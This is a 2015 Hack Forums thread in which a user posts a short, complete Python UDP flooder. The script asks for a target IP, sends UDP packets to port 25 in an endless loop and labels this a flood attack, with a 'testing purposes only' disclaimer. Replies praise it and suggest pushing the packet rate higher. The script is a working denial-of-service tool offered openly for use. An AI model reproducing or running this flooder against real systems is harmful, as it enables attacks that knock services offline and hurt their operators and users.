Hack Forums
[Python] UDP Stresser-UDP DOS tool coded in Python - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] UDP Stresser-UDP DOS tool coded in Python (/showthread.php?tid=4703783)



UDP Stresser-UDP DOS tool coded in Python - john12 - Feb 25, 2015

Hello,after learning Python and socket programming in Python,I coded this UDP flooder script:

Code
#!usr/bin/env python

import os
import sys
import socket

print "UDP Stresser-Coded by John12"
print "This tool is developed for testing purposes only,I am not responsible for your actions using it"
print "Ok,lets have some fun"

UDP_IP = raw_input("Enter target IP: ")
UDP_PORT = 25
MESSAGE = raw_input("Message to send: ")

print "Initiating UDP flood attack against %s on port %s" % (UDP_IP, UDP_PORT)

sent = 0

while True:

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(MESSAGE, (UDP_IP, UDP_PORT))
    sent = sent + 1
    print "Sent %s UDP packets against %s on port %s" % (sent, UDP_IP, UDP_PORT)

This tool is developed for testing purposes only,I am not responsible for your actions.


* - MR.FREE - Feb 25, 2015

Nice script, someone not to long ago released a script like this, he was using sock_stream and called it a UDP flooder.

If you are just starting off in networking let me be the first to point you to py-pcap/py-dpkt or even scrappy. You can pull off and put on packets straight from the network tap. #lawl

example:
Spoiler (Click to View)


* - john12 - Feb 25, 2015

Thanks for the code.

My code actually starts n infinite loop sending UDP packets to a target.


* - MR.FREE - Feb 26, 2015

(Feb 25, 2015 10:46 PM)john12 Wrote:  Thanks for the code.

My code actually starts n infinite loop sending UDP packets to a target.

Yeah I saw that,nice. For shits in giggles you should see what the max % of packets you can send per sec. Then you can try to speed it up with optimizing tricks etc if you wanted.

when I started network programming the first thing I got interested in was IDS/IPS.

semi working Intrusion prevention System
Spoiler (Click to View)


* - herrdeutschland - Mar 8, 2015

nice and simple and really educational coding ,keep it up and thanks for the UDP floader


but i really wish that you translate the final codes beginning with While True ,so we can understand it better ,and thanks in advance


* - john12 - Mar 8, 2015

the While True starts an infinite loop sending UDP packets to the target.